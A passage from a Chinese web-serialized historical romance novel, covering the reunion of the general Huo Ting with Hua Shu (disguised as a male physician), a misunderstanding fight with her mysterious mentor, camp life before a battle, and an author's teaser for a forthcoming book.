两年前,霍玄被徐阁老挟持后,霍霆那几日一直宿在外面,并非刻意躲着谁,而是一直在想办法。 他与萧成几人分作五六路人马,试图以牙还牙,伺机抓住徐阁老的子孙,用来一命换一命。 后来得知华姝病重,他匆匆赶回去看望,还未来得及多说什么,就被她迷倒了。 只差一步,抱憾两年。 “华姝,”他气得不轻,连名带姓喊她,问出扎在心里两年多的刺,“你究竟拿我当什么?” 华姝失信在先,理亏地不跟再接话。 她小心瞄了瞄他的唇,心跳如擂鼓,最后心一横,仰头吻上去。 霍霆身形一滞,却是推开她,“这算什么?” 他低头瞧过来,眸光深邃而灼灼。 华姝喉头干涩一紧,面红耳赤。 她双臂环住他腰身,埋头往他颈窝里扎,企图蒙混过关。 偏他不肯轻易放过她,轻捏着后颈将人拎出来,誓要她亲口承认些什么。 四目相对。 空气变得潮热起来。 男人眼眸化作广袤而温热的深海,看得华姝身体热起来,脏腑像是在温水里浮动,缱绻,沉溺。 她想,他眼睛一定有某种特异功能,蛊惑着她,说出那般羞于启齿的话:“我有次看隔壁朱大嫂,就是这般哄她夫君……唔……” 他蓦地扣住她后脑,顷刻吞掠所有。 * 屋顶上,一道欣长黑影或坐或卧,动作小心翼翼,百般不自在。 一阵夜风吹来,连空气都染上旖旎的香。 濯缨愁眉苦脸,堵住自己的两只耳朵,暗暗叹息。 这年头当暗卫,比在京城时更不好当咯。 庆幸的是,表姑娘终于失而复得。 哦,不对。 应该是,王爷终于“失而复得”。 他们一行人终于不必再四处奔波寻人了。 天知道,他每月中旬那封书信,提笔蘸墨时,总觉得手上提着的不是毛笔,而是自己岌岌可危的项上人头。 月光皎洁,繁星点点。 半晌后,濯缨松开一只耳朵,悄摸贴着瓦片一听,又匆匆堵了回去。 露出蒙面黑巾外的一对耳垂,烧得通红。 默了默,他默默地潜回军营。 “苓霄,王爷召你过去。” 苓霄正是贴身服侍过华姝的那个女暗卫,华姝失踪后,重回到暗卫队伍。 苓霄不解:“王爷怎得突然唤我?难道是……表姑娘有消息了!” 濯缨若无其事:“王爷的心思,我哪能猜得到。你去了不就知道了。” 苓霄白他一眼,利落收拾齐整,抱上佩剑一溜烟消失在苍茫的夜色中。 濯缨则从自己包裹中,掏出特意从外面带回来的酱牛肉和卤凤爪,拎着去寻长缨。 多日不见,兄弟俩好一顿寒暄。 少顷,长缨叹口气:“这次什么时候走?” 濯缨咬着卤凤爪,“不走了。” “你们不用再找表姑娘啦?”长缨眼神错愕,转念想起小医郎的事,直呼不妙:“完了完了,这下真完了。王爷要后继无人了……” 濯缨像看傻子一样看他,“你还不知道呢?” 长缨蹙眉:“我该知道什么?” 濯缨:“没啥,你就继续这么着吧。” “我——” 长缨刚要揪着他,一顿大刑逼供。结果,林晟从火急火燎地从外面冲进来,“哎呀呀,你俩咋还有心思在这吃呢?王爷不见啦!” “你胡说八道什么,王爷怎么可能不见?”长缨不以为意:“四处都找过了?会不会是去寻杨将军他们?” 林晟:“就是杨靖来问我的!” 长缨豁然起身,抓起佩剑就疾冲帐外。 林晟紧随其后。 濯缨看着他俩干着急,努力憋笑。 直到两人去而复返,非要拽着他一起去寻人,濯缨才缓缓道出真相。 林晟和长缨惊喜不矣。 然后对视一眼,左右开弓,噼里啪啦将他一顿胖揍。 * 农家小屋,月敲窗棂。 唇瓣初初相贴,男人还带着十二分的克制。手从华姝背脊缓至腰肢,轻轻抚揉着,缓解她的紧张与羞涩。 奈何那掌心滚烫,而华姝绸缎春衣单薄,几乎要被烧着,腰肢不自觉在他怀里不耐地扭动着。 一不小心,男人周身的气息瞬间危险、凶悍起来。 他轻易撬开她的牙关,动情享用她唇齿的每处美好。舌面与舌面的交触激起湿润的甜痒。他逗弄着她,先是轻轻摩挲,而后勾缠,最后是强横的吮咬。 华姝被迫张大唇瓣,承受着他全方位的侵袭。很快,她的上颚被降服、被占领,任他予取予夺。 不知谁的呼吸先变重了,亦或两人不分伯仲,互相汲取,一起沉沦。 华姝在他怀里软成一团,脚尖几乎踩不住地板,心里划过一个念头,应该不至于被师父听到吧? 唔! 舌尖被咬痛。 男人停了吻,不悦地睨她的不专心,眸色晦沉。 她讨好地又凑过去吻了吻他唇角,他也若有似无地挨着、碰着、回吻着她的。 两人难舍难分,分别多时,寂寂相思,一个吻显然都不足以尽兴。 霍霆将人按压在书案上,十指相扣,鼻尖相抵,又俯身狠狠吻上一通。气息急促,热汗交融。 直到衣襟被华姝抓得皱褶,胡乱间触动他胸口的伤,才暗吸一口凉气,缓缓松开唇。 他低头去看怀里的人儿,脸上泛起不正常地潮红,喘息热而甜,红肿的唇破了皮,鹿眼雾蒙蒙的,凄美又可怜。 霍霆罕见地落井下石,指腹点了点她吻坏了的唇,“以后还跑不跑了,嗯?” 嘶—— 华姝吃痛一声,“坏人!” 她羞愤地嗔他一眼,纤细的藕臂环住他的脖,被他顺势托住,缓缓坐起身来。 她闭眼靠在他宽厚的臂膀,平复着身体内的异样。 恍惚间,她想起什么,“澜舟,你刚刚说有办法破局,是不是?” 霍霆瞥她,“坏人才不会给你想办法。” 华姝又气又笑,轻锤他一下,“快说……” 第68章 心甘情愿让一只小鸠占了…… 霍霆也笑, 缓了缓粗重的气息,压低声音:“等把华府的事全了结后,我就将兵权留给萧成他们,找处没人认识的地方, 与你一起开医馆。” “到那时, 既谈不上家里同不同意, 又不必顾虑旁人的眼光。”他顿了顿,征询道:“姝儿, 这般可好?” 华姝眼眶又是一酸。 她就知道,他所谓的办法,即是用一人的牺牲,换得两人的周全。 “可你废了那么多年的心血,才一点点攒起来的兵权,却因我一人就……”她喉头哽咽,说不下去了。 “建立兵权的初衷,是能为百姓所倚仗。” 霍霆低头轻吻她发丝,不疾不徐地道出长远打算:“此次大捷后, 我会向圣上请奏, 与南戎签订二十年的邦交。有生之年让百姓安居乐业, 我也算是仁至义尽。” 至于死后,谁又管得了那么多? 华姝认真听完, 直起身, 颇为叹服:“所以你前几日那般劳心费神的思考, 是打算想个一劳永逸的法子?” 霍霆瞧她, 眼神意味深深:“我也是人,一个有七情六欲的男人,一个希望有妻有子的凡尘俗人。” 气氛再度微妙起来。 华姝小心打量着他, 心里隐隐不安。唯恐再被他按着吃一通,趁其不备,起身就要溜逃。 哪知翘臀刚抬,就被霍霆又按了回去,腰肢被那铁臂牢牢箍住,动弹不得一点。 华姝紧张,“你身上有伤。” 霍霆挑眉,“那没伤了呢?” 华姝脸色爆红,羞答答别开眼,“以后再说。” 男人偏是要追问个明白:“现在怎么就不能说?” 华姝羞愤提音:“你明知故——” 话音未落,腰带忽然被他三两下系上一块物件,坠在身上沉甸甸的。 “嗯?”她鼻腔间微弱疑惑一声,垂眸看去。 是块玉佩。 是那块麒麟踏浪的玉佩。 霍霆抬手轻刮她鼻头,“适才瞧见濯缨了?” “原来你叫他们负责押运物资,还有这层用意。”华姝心口一阵鼓胀,他总是能提前替她考虑到好多。 “云城内算不得绝对安全,好生戴着这玉佩。再敢丢下它,”男人眼神倏然凌厉几分,“看我回头怎么收拾你?” 说罢,华姝娇臀啪得挨了一巴掌。 她吃痛地似小兽呜咽一声,忙软声讨扰:“不敢了,再不敢了。” 霍霆挑眉,“不敢?” 华姝保住他右臂,亲昵蹭了蹭,“不会,不想,不舍得。” 霍霆笑骂:“讨巧……” “谁在那!” 屋外突然响起一声娇喝。 紧接着,金铁交鸣撞得刺耳,闷哼与拳风交错。 一击未成,咄咄的脚步声再次拔地而起,拳肉相击,兵器劈开,愈演愈烈。 打斗声来得猝然,华姝惊住一瞬。 等反应过来时,霍霆已经先一步拉开屋门查看,她忙不迭跟了出去。 小院中,一男一女正打得不可开交。 只见那男子一跃凌空而起,自上而下,一记苍劲有力的斜踢,瞬间踹得女子疾速地后退十数步。 这时,霍霆冲了上去—— 他先是抬手虚接住女子的身形,眨眼之间,已欺至男子身前,一记利落而凌厉的铁拳,直逼他面门。 男子反手挡住,另一只手也以掌化拳,狠狠朝着霍霆腹部击去,又被矫健避开……两人赤手空拳,互搏缠斗在一起,招招狠辣。 华姝瞳孔骤缩,心瞬间提到嗓子眼。 幸好今夜月光姣洁,她勉强辨认出身形。 那被一脚踢中的蒙面黑衣女子,是两年未见的苓霄。 而那提脚出招的欣长男子,赫然是借宿在此的不着调师父,骆嘉然? 华姝面露迷惑,师父还会武功呢? 但紧急关头,也来不及多想,她忙不迭提声喊道:“都是自己人,别打啦!” “王爷,师父,你们快些停手罢!” 话音落下,院门就被人从外敲响。 是顾朝从隔壁闻讯赶来,喊道:“张兄,发生了何事?可需要帮忙?” 这么一闹,院中打得你死我活的两人,总算停了下来。 华姝一颗心也总算落回肚子,她长舒一口气,朝院门的方向扬声回应:“多谢顾主簿,我没事,只是一场误会。” 边说,边走过去开门。 行至霍霆跟前,突然像被拎小猫一般拎住了衣领子。她不解歪头回看,就见他无奈叹气,轻吐一个字:“脸。” 华姝后知后觉,忙回屋去戴假面皮。 霍霆瞥见她躲进门后,才递给苓霄一个眼色,苓霄随即去开门。 顾朝进来后,迷茫地环顾四周,目光最终落在霍霆身上,然后就更迷茫了,“霍、霍将军?” 霍霆不置可否。 顾朝又看向另外两张陌生的面孔,“您两位是……” 苓霄站到霍霆身后,“我是王爷的护卫。” 裴夙慢条斯理地理好衣襟,又轻掸了掸衣袖的褶皱,“我是……张大夫的师父。” 顾朝点头致意:“那看来真是误会一场。” 趁这功夫,华姝已麻利易容好,重新走出来,拱手致歉:“大晚上的,实在是叨扰到顾主簿了。” 顾朝笑说无碍,没事就好。 华姝又看向那两人,奇怪:“你们缘何就打了起来?” 苓霄戟指着裴夙,冷笑一声:“我奉命过来当值。结果一进门,就瞧见这人凑到窗前,探头探脑,鬼鬼祟祟!” 裴夙好笑:“我是听见对面有鬼鬼祟祟的动静,才特意出来查看的好吧?” 他目光在霍霆两人身上转了一圈,意有所指:“这大半夜的,王爷缘何会屈尊来此?” “放肆!” 无需霍霆多言,苓霄已然上前一步,剑指裴夙,“你是什么身份,也胆敢质问王爷?!” 裴夙不为所动,懒懒散散道:“我这不是想弄清事情的来龙去脉嘛。” 霍霆岿然而立,冷眼觑着他。 裴夙黑眸微眯,笑里藏刀。 一瞬间,周围空气温度骤降。 气氛剑拔弩张,小院内暗潮涌动。 华姝后脊冷不丁打个寒颤。 她没好气地瞪了裴夙一眼。 顾朝不知道她和霍霆的关系,难道他也不知吗?最后只能搪塞一句:“王爷身体偶感抱恙,顺路过来瞧瞧。” 这借口实在不怎么样,但顾朝是体面人,瞧着没什么大事,主动告辞离开。 待他一走,霍霆没了顾忌,沉声吩咐苓霄:“此处庙小可装不下大佛,去给骆大夫再找处宽敞的住处。” 苓霄:“是!” 裴夙自然不肯走,凑过去挨着华姝,笑道:“虽说王爷权势滔天,但此地毕竟是……二娃的住处。” 凉凉月色中,一道小旋风悄然刮过。 霍霆蹙眉:“谁?” 华姝汗颜一瞬,索性俏皮拱手,“草民,张二娃。” 霍霆:“……” 见他黑脸,裴夙乐了,继续吊了郎当地说到:“二娃,你说为师今夜还能留宿于此吗?” 霍霆适应得很快,也挑眉看去,“是啊,二娃你倒是说说。” 华姝哭笑不得,气得她当时真是超想将两个人一起打出去的。 奈何人微言轻,她谁都惹不起。 夹在中间,左瞧右看,两头为难。 华姝想了想,轻咳一声:“这大半夜的也不好找住处,要不师父今夜就先住这吧。后续的事,等天亮再议。” 闻言,裴夙乐了。 他身量高挑许多,一只手臂微微压在华姝肩膀上,笑看霍霆,“谁的家谁说了算,我完全听从我徒弟的安排。” 华姝默默挪开一步,站到霍霆身侧,“然后我随王爷回军营,再仔细瞧瞧身子。” 裴夙身子一趔趄,笑不出来了。 他唇瓣抿成一条线,闷闷不乐瞧着她,眼神幽怨。 见状,霍霆也乐了。 “你听她的,她听本王的。” 裴夙:“……” “好了,再折腾下去天都要亮了。”华姝催促霍霆离开,临走前不忘叮嘱裴夙:“师父,你记得把门锁好啊。” 她是真担心霍霆的身子,适才那般大动干戈,万一伤口又裂开就麻烦大了。 光是这般想想,她眉心已紧锁一处。 霍霆瞧在眼里,没心思再与裴夙斗气,带人款步而去。 小院空寂下来。 乌云遮月,视野一点点晦暗下去。 裴夙笑容也一点点褪色。 他仍望着三人离开的放下,下颌紧绷至抽动,眼底凶光毕现。 早在京城,他就注意到霍霆对待华姝的不一般。 原以为,一切是看在华不为的面上。直到刚刚,窗上映出两人亲密相拥的剪影,那分明是…… 他怎么敢? 他怎么敢?! 裴夙双拳紧握,骨节咯吱作响,隐隐泛起一片青色。 看来,计划得提前了。 他转身走回房中,森寒的背影露满一片霜色。 须臾后,隔壁小院的墙角下,一道抱剑而立的魁梧身影,也悄然折返房中。 与守在厢房门口的顾朝,无声点了点头,才各自关上房中。 苍凉夜色愈发浓郁,暗得似能滴墨。 * 主帅大帐,灯火冉冉。 华姝回来后,第一时间查看霍霆的伤口。白色纱布下,已然结了厚厚一层殷红色的血痂。因着剧烈打斗,血痂生出几条细短的裂缝。 “好在没彻底撕裂开。”她拿着药瓶和扁木签,给他重新上药、包扎,口吻严肃地叮嘱:“这几日万不能再随意动手了!” 屏风前的书案处,霍霆盘腿而坐,面无表情:“我因着谁?” 华姝气势软下来,小声咕哝:“那毕竟是我师父,而且也是林军医的意思。” 霍霆冷哼:“姑娘真是长大了,都知道找替罪羊了。” “……”华姝不跟他犟,收拾好药箱,打着哈欠走去床边,拿起苓霄送来的换洗衣物,转到屏风后的浴桶旁。 她放下衣物,提着旁边的木桶走出来,“我去提些热水,你先歇下吧,不用等我。” “哪有让女人提热水的理?”霍霆嗤笑:“你师父那么大个男人住进家里,连锅热水都不知道烧?” “他不管,我管。”说罢,他夺过木桶,出门交代长缨去提热水。 华姝在原地站了会,忽然意识到什么,薄肩微微耸动,掩面好笑。 他不会觉得,她跟师父有些什么吧? 很快,长缨提着一桶热水折返。 想着姑娘家爱干净,他带来个新铜盆。 然而,抬眼一瞧那焕然一新的洗脸木架,那铜盆他怎么拿来的又怎么拿了回去。 只见那洗脸架一旁的斗柜上,原来随意摆放的皂盒、清盐、猪毛鬃小刷子……等物什,眼下都被归拢到一个小型的木抽屉内,齐齐整整,利利索索。 转身一看,搭在屏风上的洗过的湿衣服,被分门别类地整理好,每件都有属于自己的木挂钩。 空气也多出一丝暖融融的香气。 长缨不认识这香,但很好闻,安神。 他若有所思地往外走,难怪王爷坚持要将人寻回,这家里有了女主人就是不一样。 * 帐中,华姝考虑到天色太晚,没有再沐浴,只就着热水简单擦洗一番。 因着床榻和浴桶都在里间,霍霆被无情驱逐出来,心甘情愿让一只小鸠占了老巢。 他坐在书案前,一腿盘坐,一腿曲起,架着手臂,静静翻看一卷兵书。 书案上,瑞兽玉炉里的鹅梨帐中香,几缕白烟袅升。 屏风后,清水声濯濯作响,嘀嗒,嘀嗒,像是一涓热流淌过了心涧。 半晌过去,那卷兵书不曾翻动一页。 霍霆索性放下来,抬手按了按眉骨,意味不明地问道:“你那师父,身手不错啊。” 华姝手上的湿帕子顿了顿,“他做游医多年,走南闯北的,奇遇应该不比我少。” “不过,”她事实却是道:“他在宜州府有药铺一事,我确实不知。你若是有什么顾虑,倒是可以去问问林军医,他们好像也挺熟络的。” 霍霆:“若是真查出什么,你当如何?” 这问题就有些尖锐了,不好答。 华姝掷了帕子,回身拈起一旁的藕粉色青莲小衣,又拾起白色亵裤套穿,两弯细眉紧拧,仔细思索。 因着想得太专注,以至于没察觉到,一道魁岸的身影已然绕过屏风,悄无声息地靠近身后。 她还在认认真真地回答问题:“看什么程度吧。若是伤天害理,自有理法不同他。若……唔……” 话未说完,两瓣红唇已被倏地堵住。 霍霆右臂搭在屏风上借力,侧身朝前,偏头过来,不慎温柔地咬了咬她唇瓣。 华姝盈盈杏眸懵怔一瞬,手指抵住微微刺痛的唇角,仰起脸,不可思议地盯着前来做坏事的人。 她这副娇憨的模样,成功取悦到他,原本阴沉的脸色转瞬霁晴。 华姝回过神来,纤白藕臂一伸,忙拉过外衫遮在身前,背对他,乌墨的长发半掩香肩。 她又羞又愤,声音软成水:“你、你怎么还偷袭呀?” 男人从后拥住她,灼热的臂膀圈住纤细腰肢,强劲的气息很快笼罩住她。 他道:“这叫做,兵不厌诈。” 语气平淡无波,好似一本正经在探讨兵法。 然而话音落下,那挡在胸前的酥香漾纱的衣衫,也一同悄然坠落,堪堪遮住一双未着罗袜的小巧玉足。 空气中的鹅梨帐中香,萦萦弥散开来,又甜又暖。 屏风上的交叠身形,影影绰绰—— 作者有话说:(前文略有调整,请知悉~) 【放个预收】 《与暴戾摄政王共梦后》下一本写,求收藏~ ———————————————————— 近日,北宸王封序遭逢怪事,常梦见一妙龄女郎。 可问题是…… 现实中,那副清冷明艳的姿容,本不该属于她。 是夜浓雪沉梦,佳人软伏郎肩,婉吟轻喃。 封序不经意似的提及,天寒冻疮,自己每饮葛根必会满身红斑。 次日,新来的江小军医,默默将葛根改写成了芫荽。 据说,他是临时起意。 * 一朝天子一朝臣,百年杏林世族的江家,日渐没落。 圣旨下达太医院,急需派人携药材远赴边关。江家三郎江辛夷,被迫接下这烫手的山芋。 北地苦寒,一路匪寇作乱。 更要命的,北宸王生性暴戾,冷清嗜血。底下的人稍有不慎就被一刀斩杀,曝尸城门。 可惜了江三郎一身才学,竟要埋骨荒野。 然而,众人等来等去都没等到一纸死讯。 反倒是北宸王一朝大权在握,江辛夷伴驾有功,前途似锦,连带着江家满门风光无限。 皇极殿内,薰香浅淡,如檀似麝。 江辛夷应召侍奉王驾,面对一盘古卷残局,举棋不定 对面烛火融融,映出那张冷肃端贵的面容。 他墨眸缓缓抬起,指腹摩挲杯沿,意味深深: “好生参悟。江氏九族的命数,都在这棋里。” 江辛夷捏紧棋子,指尖开始发颤,后脊也冒了虚汗。 她并非不会,是不能会,又不敢不会。 昨夜梦里,男人魁岸的臂膀从身后牢牢拥着她,牵手执棋,一步步勘破了全局。 原以为他是一时兴起。 不曾想,她早已入局…… 【同梦共感+女扮男装+强取豪夺+老房子着火】 1、年上10岁,体型差20,1v1双洁he 2、男主原本是北宸王,后加封摄政王 #辛夷是一味中药,又名紫玉兰 第69章 晨起温柔乡 晨露凝枝, 朝光入户。 霍霆挑帘进帐,轻手轻脚地走到床头,掀开素色帷幔,坐下身, 静瞧着这颇有一番定力的小赖皮。 他走前就曾唤她起床, 嘴上应得好好的, 如今眼睛也闭得好好的。 塌上姑娘蜷缩在薄被里,乌亮的长发松散贴在颊边, 睫羽微颤,呼吸轻软,葱白指尖勾着被角,一点要起的意思都没有,只余满室慵懒。 霍霆无奈叹息:“起床了,小懒猪。” 小懒猪从鼻腔哼了声:“嗯。” 半点未动。 霍霆又抬手捏了捏她翕合的鼻头,“早膳好了,今早吃烤乳猪。” 烤乳猪十分不满地拱了拱嘴,背过身去, 面朝床里侧, 只留给黑乎乎的后脑勺对着他。 霍霆不气反笑, 好整以暇地靠在床头的桅杆处,慢悠悠说上一句:“杨靖他们都在外面候着呢。” 华姝缓慢蹙起眉。 嗯…… 谁? 杨靖!! 华姝几乎只反应一瞬, 就挣扎着坐起身, 薄被捂在胸口处, 悄悄往外探看。奈何有屏风挡着, 什么都看不到。 她揪住他衣袖,小声一连串追问道。 “他们何时来的?” “都有谁来?” “王爷可曾提及我在帐中?” 霍霆一只手肘搭在膝头,慢条斯理想了想, “没说你在帐中,只道帐中暂时不便。” 这和挑明了说她在有区别吗? 华姝欲哭无泪,脸皮绯红。 她幽怨地瞪他一眼,将人软软推下床,拉上帷幔,“我马上就好,且让他们再略等等。只要一会就好。” 很快,床笫间响起一阵布料的摩擦声。 窸窸窣窣,甚为迅速。 霍霆忍住没笑出声,信步走到门口,交代长缨去准备早膳。 等转回身时,就见那窈窕的女郎躲在屏风后,往外探望,为难道:“我还未梳洗,这般见人恐有损礼数。可这帐中又无处藏身……怎么办?” 小声谨慎,眼神恳求。 霍霆颔首,颇为赞同:“是以,我就先打发他们回了。” “……回了?”华姝狐疑片刻,旋而意识到什么,气笑不迭:“你怎么又骗人呀……” 危机解除,她如释重负,掩面打个哈欠,又慢吞吞地歪倒在床边,泪眼汪汪。 真不怪她赖床,昨夜被他缠至天明才睡着,彼时远处人家的鸡都打鸣了。 明明同时歇下,怎奈他精神如斯。 眼见她又昏昏欲睡,霍霆无奈笑出声,只觉统领千军万马都没这般的束手无策。 偏这人是说不得,也罚不得。 他耐着性子坐回去,揉了揉她发顶,正色解释道:“他俩刚刚确实来过,今早南戎有撤兵的迹象。” 华姝睁开眼,仰脸看向他,忧色忡忡:“那你是不是又要领兵去前线?” 霍霆:“约莫三日后。” 眼下南戎撤兵,尚不能确认是先前排除的那对人马偷袭南戎皇城成功,还是南戎将计就计,假意撤兵,诱他们出城追击,再前后夹击而剿。 从云城去南戎,行程至少五日。待到三日后,若还没有异动,就命骑兵出城追击。他们那一路有步兵,脚程慢些,正好能快马加鞭地将敌军围堵在半路。 华姝认真听完,深深点头,“这般也好,再等上三日,你那伤口也能恢复得利落些。” “唉,”霍霆忽叹:“可惜早膳都没得用。” 华姝赧颜一笑,将脸埋进他宽厚的掌心,头顶蹭了蹭他腿,“我起不来嘛。” 霍霆顺手捏了捏她脸蛋,“如何才能起来?” 华姝抿唇偷笑:“要抱。” 男人失笑,拍了拍右臂,“坐上来。” 话都说到这份上了,华姝终是不好再赖床,慢腾腾蹭着他爬起来,双臂环住他脖颈。 霍霆将她揽在臂弯上,轻而易举,单臂抱到洗脸架旁。 他腿长步宽,统共也就三四步路。 华姝被稳稳放在地面,唇角忍不住微微翘着弧度。直到不经意间,瞥见铜镜里的自己,纤白颈侧的斑驳红痕,脸颊倏地红了。 男装的领口要更高些,就这还没能遮住……她微微叹气,颇为头疼。 霍霆瞧在眼里,唇角微动:“你不是能遮面吗,一起遮下。” 华姝回身,抿唇盯看他,“那下次呢?” 男人沉默下来,意味不明地瞧了她片刻,眉骨的细斜短疤微不可闻地一动,“你希望有下次?” 唔! 她刚刚倒底在说些什么? 华姝后知后觉,羞得忙背过身去,垂眸掩去眼尾的红意,“我要洗漱了,王爷先去用膳罢。” 霍霆不再闹她,转身到屏风外侧,盘腿坐到长条书案前。 长缨经得允许,拎着食盒进门,将早膳一一取出。 不曾想,还真有烤乳猪。 霍霆支头笑,他都能想到华姝等会的反应。趁她不注意,无声示意长缨将那盘烤炙肉块撤下去,让他们自己分食。 长缨不解,但乐意至极。 要知道,在打仗期间这烤乳猪可是稀罕物什。一只乳猪不大,烤熟后再一缩水,也就几位将军的膳食才能见着。 他心里不由得感谢华姝,还得是表姑娘啊,王爷心情大好,连他们底下的人都能跟着沾光。 华姝对此一无所知,等她梳洗完,脸上氤氲着淡淡的水雾出来时,长缨早提着香喷喷的烤乳猪远去咯。 两人对面而坐,津津有味用着早膳。 霍霆时不时给她夹些菜色,她也礼尚往来喂了他一块鸡蛋饼,一顿饭吃得顺顺当当。 饭后,华姝照例给霍霆伤口换药。 包扎完后,她开始鼓捣自己的假面皮,弄好就准备去军医大帐上值。 外间光线好,她将一应工具拿出来,借用书案,对镜涂抹润肤膏。膏体质地莹润,透着淡淡的竹叶清香。 霍霆只给自己留出书案一角,提笔蘸墨,凝神肃色,处理往来的军务信函。 三日后即将开战,指不定要几日结束,需经由他亲自盖印的事务都得一一提前安排好。 其中就包括,要好生核查“骆嘉然”此人的生平。 “要抹吗?”华姝忽然凑近他,指尖蘸着一小坨白色膏体,清香怡人。 霍霆下意识皱眉,后仰避开。 他行伍出身,有时在外行军打仗,连脸都顾不得洗。从未想过,这辈子还会有人问他涂不涂脸? 只能感慨,这女子和男人果真不同。 华姝却不肯放过他,指尖又往前凑近一些,誓要报了之前的戏谑之仇,“试试看嘛。” 霍霆不为所动,抬手略微挡开她,“你自己涂罢。” “就抹一点。”华姝钻进他怀里,一双清澈的明眸巴巴仰看他,轻声软语:“好不好?” 温香软玉入怀,霍霆虎躯倏然一滞。 缓了缓,他捏起她下巴,墨眸微眯:“大清早的,又招我?” 男人脸上笑意褪去,周身气场骤变,不怒自威。 华姝哪敢再闹腾他? 乖乖坐回去,自己继续对镜涂涂画画,就是小嘴噘得老高,无声控诉。 只许州官放火不许百姓点灯,哼! 霍霆起初没在意,低头继续专心书写。 不料等写完,将信装进封皮里时,不经意一瞥,就见一旁那姑娘的粉润樱唇还嘟着呢,似乎气得不轻。 这可就难倒英雄汉了。 他视线尝试去触碰那瓶竹香白膏,光是瞧瞧,浑身上下都充斥起拒绝。显而易见,这种事万不能开了先例。 霍霆略作沉思,放下信封,捡起那化妆匣里的一枚青黛笔,“帮你描眉?” 华姝迟疑,想问他能行吗,又怕被一顿收拾,于是委婉表示:“你之前画过?” 霍霆摇头,但也有理有据:“我看你扮男装,眉毛要画得粗些。” 画细眉要讲究手法,但往粗里画,想来不难。 其实不的。 至少两边的眉形得保持一致。 华姝拧眉犹豫片刻,不想打消他的积极性,还是欢喜接受下来。 她给他另换一枚常用的青黛,稍作示范执法,然后乖巧地跪坐到他跟前,笑盈盈盯着他看。 眼见姑娘重新展露笑颜,霍霆心中踏实下来,举起青黛,凝神下笔。 华姝下巴微抬,仔细凝看着他。 经过多日调理,气色要比中箭那晚红润透亮好些。眼下不再凹陷,眸如点漆,目光更炯亮有力。 尤其是凶她的时候。 有清风吹拂进帐,微微牵动他额角胎毛。比往日鬓发一丝不苟的样子,更添了些粗犷的美。 霍霆一顿操作下来,比想象中要难。 好在常年用剑,腕力足够得稳。 加之面前一双秋波水眸,笑中透着鼓励,他几番尝试,涂涂改改,总算糙中有细,画出一点眉目。 他放下青黛笔,“瞧瞧。” 华姝外头对镜去瞧,还别说,与她预期中要好上许多。她不吝啬赞美,动作颇有些浮夸地抚掌道:“非常之好,非常之妙,深得我心。” 霍霆看破不说破,戳了戳她额头。 华姝眼波微转,欲欲跃试地拿起青黛笔,细声甜语:“澜舟,你要不要试着补下那眉形。” 霍霆挑眉,“怎么,嫌它碍眼?” 不待她出声反驳,他紧接着又道:“也对,早在燕京城中时你就说过,我这眉骨的疤看起来很凶。” “不对,是特别凶。”他补充道。 华姝被噎住一瞬,忙抱住他手臂,出声解释:“我、我……我那时同你不熟才那般讲的,你怎么还记仇呢?” 霍霆垂眸瞧她,顿了顿,轻扯唇角:“和你相关的事,自是要都记着。” 空气安静一瞬。 帐外鸟鸣欢快清脆。 “这样啊……”华姝若无其事地松开他,背身偷笑,“王爷既是记忆超群,那就好生记着叭。” 结果话音刚落,后衣领就被拎了起来。 霍霆单手将她拎入怀中,俯身咬住她唇瓣,齿尖碾磨,狠狠惩治这个得了便宜还卖乖的小东西。 华姝噙笑回应他,笨拙讨好。 唇舌交吻时,帐中升起细微的水声。 两人的呼吸都渐渐凌乱起来。 原本的一触即离,最后变得一发不可收,越纠缠越是深入。 一吻毕。 华姝靠在霍霆肩头,慢慢平复着。 他下巴搭在她头顶,双眼轻阖,指腹有一下没一下地摩挲着她腰肢,“你这面具做起来可耗功夫?” 华姝:“何时要?” 霍霆:“三日后。” 华姝思忖片刻,恍然顿悟。 霍霆此前被南戎敌军重伤,对面这段时日一直想方设法地趁虚而入,皆是未果。 他此番出城突围,去追击那离开的一波兵马,势必会引起南戎的重视,很可能会增派支援。 但倘若他易容成旁人,降低南戎的防备,那效果自是事半功倍。 这等缜密巧思,令她不由叹服。 “还剩三日,我抓紧些功夫,应该能赶至出来三副面具。”华姝细细盘算道:“届时,你和杨将军他们都能用得上。” 霍霆:“别熬坏了眼睛。” 华姝:“偶尔一次,无妨的。” 霍霆欣慰一笑,低头吻了吻她发顶,“那就,辛苦夫人了。” “不辛苦。”华姝仰头对上他的目光,吟吟笑道:“这也是为国为民,为你,为我。” * 接下来三日,华姝除去用膳睡觉,大多时都在夜以继日地赶至面具。 大战在即,霍霆也同杨靖三人一起,在沙盘上一次次演练作战方案,力求找出每一处潜在的疏漏,及时防患未然。 三日光景,转眼即逝。 出城迎敌前,两人先去了趟隔壁的铁匠铺。 早在霍霆中箭后,华姝就拜托顾铁匠帮忙,为他打造一套护身软甲。她特意叮嘱,要在心口处前后各加厚一层。 打造软甲是个精细活。 顾铁匠今夜才赶工完成,从里间拿出来,递给霍霆,“将军且穿上试试,若是哪处不合适,这会还能得空改上一改。” 说完,便背过身继续忙活其他活计。 “有劳。”霍霆接过来,展开软甲,从里到外略作检查,方才套到身上。 华姝上手替他整理肩线,他不动声色望向那位寡言少语的顾铁匠。 铁匠铺内的碳火烧得猩红,温度极高。顾铁匠站在碳火旁用力捶打一块生铁,玄色马褂半敞,露出一身黝黑的腱子肉。 乍看上去,与旁的铁匠一般无二。 可不知怎的,霍霆在瞧见这老铁匠的第一眼时,无端有一股难以言表的怪异感…… “王爷,您抬下手臂。” 身后,华姝出声打断他。 霍霆回神,配合她穿戴好一整套软甲,而后拿上佩剑,大步流星出门,纵身策马而去。 华姝站在自家小院门口,目送他的背影,消失在黑漆漆的转角,良久才收回目光。 是夜,霍将军兵分两路。 杨靖与吴广在城门外列阵,以铮铮铁骨,牢牢拖住三万敌军。 霍霆覆面于脸,亲率铁骑衔枚疾走,如一道黑色闪电撕裂夜幕。 马蹄踏碎冻土,杀意直冲云霄,只待追上那两万叛军,用铁与血彻底绞杀。 战鼓动地,号角裂空! 兵刃交击之声震彻旷野—— 磅礴铿锵之势,让城中的百姓皆是为之一震。 华姝却一夜未眠,说不担心是假的。 相较而言,师父骆嘉然就自在多了。 每日早起打开惠春堂的前门,懒懒散散地在躺椅上晒太阳,睡大觉,好不快哉! 华姝不想同他说什么,说了也无法感同身受。索性让自己忙起来,忙起来就不会总胡思乱想了。 白日里,她在军营中抢救伤患。 夜里睡不着,就挑灯做那面具。 他们一行十三位兄弟,还有十位罗汉将军可以赠之。远的不提,萧成还在军医大帐养伤呢。 面具最好参照本人脸型,这样捏出来的假面皮更贴合脸部轮廓,以假乱真。 